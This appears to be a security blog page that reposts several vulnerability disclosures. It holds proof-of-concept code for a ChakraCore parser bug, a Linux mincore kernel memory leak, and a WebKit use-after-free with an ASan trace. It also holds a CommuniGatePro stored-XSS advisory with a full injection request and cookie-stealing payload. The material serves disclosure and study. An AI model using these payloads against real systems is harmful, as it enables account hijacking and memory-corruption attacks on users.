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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:

$ cat mincore_test.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}

/*
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c

The fix has landed in the following upstream stable releases:
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101

*/
HireHackking 
# Exploit Title: CommuniGatePro webmails Multiple Stored XSS 
# Date: 15/11/2017
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: http://www.stalker.com/ (paid product)
# Version: 6.1.16< 
# Tested on: production server on crystal, pronto and pronto4 webmails from gmail and hotmail.

CommuniGatePro 6.1.16 webmails (crystal, pronto and pronto4) suffer from multiple stored XSS vulnerabilities. The bellow details illustrate the impact of this vulnerability.

Vulnerability Description:

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Vulnerability details (Stored XSS):

This vulnerability allowed us to gain access to the following:

    Control the victim's mailbox by just reading my email

    Control the victim's computer in case the person uses Internet Explorer 8 which is widely used in our company.

    Send emails on behalf the victim

    Deface the whole victim mailbox

    Invoke the malicious piece of code each time an attachment's sent to the victim.

Vulnerable sections:

    Calendar

    Files

    Tasks

    Notes

    Inbox


Attack Narratives and Scenarios:

1. Calendar:

Source webmail: tested with gmail and hotmail

Destination webmail: Crystal

In order to deliver our PoC, we have taken the advantages of google calendar to achieve our goal.


PoC:

POST /calendar/event HTTP/1.1

Host: calendar.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://calendar.google.com/calendar/render?tab=mc

X-If-No-Redirect: 1

X-Is-Xhr-Request: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 634

Cookie: Mycookie

Connection: close

sf=true&output=js&action=CREATE&useproto=true&add=boumediene.k%40victim.dz%2Csnbemail%40gmail.com&crm=BUSY&icc=DEFAULT&sprop=goo.allowModify%3Afalse&sprop=goo.allowInvitesOther%3Atrue&sprop=goo.showInvitees%3Atrue&pprop=eventColor%3Anone&eid=762dgnlok9l44rd63im4kisjnd&eref=762dgnlok9l33rd55im4kisjnd&cts=1511425384353&text=%22%3E%3Cimg%20src%3DX%20onerror%3Dalert(document.cookie)%3E&location=Stored%20XSS&details=Stored%20XSS&src=snbemail%40gmail.com&dates=20171123T093000%2F20171123T103000&unbounded=false&gdoc-attachment&scfdata=W1tdXQ..&stz&etz&scp=ONE&nopts=2&nopts=3&nopts=4&hl=en_GB&secid=6VLs1BGsgBB_Tqz6egnXpCYYF24


Once the victim receives the invitation, he/she will not be obliged to click on any link or download any file. The only condition for this PoC to work is a single click to read the email. Once the victim reads the email, the code gets executed on the victim's browser ending up sending sensitive data to the adversary.

2. Files:

Source webmail: pronto/pronto4/Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Go to file section.

    Create a directory

    Name the directory with any JavaScript code, in our case  (<img src=X onerror=alert(document.cookie)>)

    Share or grant access to victim to be able to at least read the content of the directory

    The victim then recieves the email of granting access to that directory

    The vitim reads the email and then accesses the directory ending up executing the code within its scope of work

3. Notes:

Source webmail: Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a note

    Put the JavaScript code within it

    Share it with the victim

4. Tasks:

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a task

    Put the JavaScript code within the task name

    publish it

5. Inbox

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create an html file with malicious JavaScript piece of code

    Make use of Pronto to send the email to the victim

    The victim reads the email using Crystal webmail and the code gets executed.

Remediation:

Sanitize, escape and validate user supplied data accordingly

Vulnerability Disclosure Timeline:
==================================
23 Nov, 17 5:36:09 PM: Vendor Notification
23 Nov, 17 6:56:33 PM: Vendor Response/Feedback
24 Nov, 17 : Vendor released new  patched version 6.2.1 and included fixes on version 6.1.19 as a separate Crystal skin package (to be installed as cluster/server-wide custom skin)
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1354

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<style>
.class9 { column-span: all; }
</style>
<script>
function f() {
  document.execCommand("indent", false);
  var var00031 = window.getSelection().setBaseAndExtent(sum,16,null,6);
  f();
}
</script>
<body onload=f()>
<pre style="column-count: 78; -webkit-user-modify: read-write">
<details>
<summary id="sum" class="class9">
<content id="htmlvar00040">

<!--
=================================================================

ASan log:

=================================================================
==732==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000089218 at pc 0x00010e8a4eab bp 0x7fff568795d0 sp 0x7fff568795c8
READ of size 8 at 0x611000089218 thread T0
==732==WARNING: invalid path to external symbolizer!
==732==WARNING: Failed to use and restart external symbolizer!
    #0 0x10e8a4eaa in WebCore::RenderObject::previousSibling() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa)
    #1 0x11101ce3e in WebCore::RenderObject::previousInPreOrder() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cbe3e)
    #2 0x111001c59 in WebCore::RenderMultiColumnSet::containsRendererInFlowThread(WebCore::RenderObject const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27b0c59)
    #3 0x110ffb18a in WebCore::findSetRendering(WebCore::RenderMultiColumnFlowThread const&, WebCore::RenderObject const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa18a)
    #4 0x110ffabf9 in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9bf9)
    #5 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #6 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #7 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #8 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #9 0x110d8a0c3 in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25390c3)
    #10 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #11 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #12 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #13 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #14 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #15 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #16 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #17 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #18 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #19 0x10f811acf in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0acf)
    #20 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #21 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #22 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #23 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #24 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #25 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #26 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #27 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #28 0x5be2c2a01027  (<unknown module>)
    #29 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #30 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #31 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #32 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #33 0x11c9bc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #34 0x11c93d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #35 0x11bf56731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #36 0x11bf569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #37 0x11bf56d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #38 0x10fa8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #39 0x10fea26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #40 0x10f20e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #41 0x10f20dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #42 0x10f0eb051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #43 0x10f0fac0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #44 0x10efedb0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #45 0x10efe7bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #46 0x10f39a3ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #47 0x10f39775c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #48 0x10f007523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #49 0x10f58b5d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #50 0x10f0a8693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #51 0x10f069736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #52 0x10eae5047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #53 0x10eadddf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #54 0x1115b5661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #55 0x109ea943b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #56 0x109eac6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #57 0x109eabbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #58 0x10969d117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #59 0x10947c695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #60 0x109485a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #61 0x11d3d78e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #62 0x11d3d81b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #63 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #64 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #65 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #66 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #67 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #68 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #69 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #70 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #71 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #72 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #73 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #74 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #75 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #76 0x10937e56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #77 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x611000089218 is located 24 bytes inside of 232-byte region [0x611000089200,0x6110000892e8)
freed by thread T0 here:
    #0 0x10cf97294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11d427650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ea1017 in WebCore::RenderElement::destroyLeftoverChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2650017)
    #3 0x110dc9db5 in WebCore::RenderBlockFlow::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578db5)
    #4 0x111023fdf in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d2fdf)
    #5 0x111185d9f in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType)::$_2::operator()(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2934d9f)
    #6 0x1111847ec in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29337ec)
    #7 0x111183c28 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932c28)
    #8 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #9 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #10 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #11 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #12 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #13 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #14 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #15 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #16 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
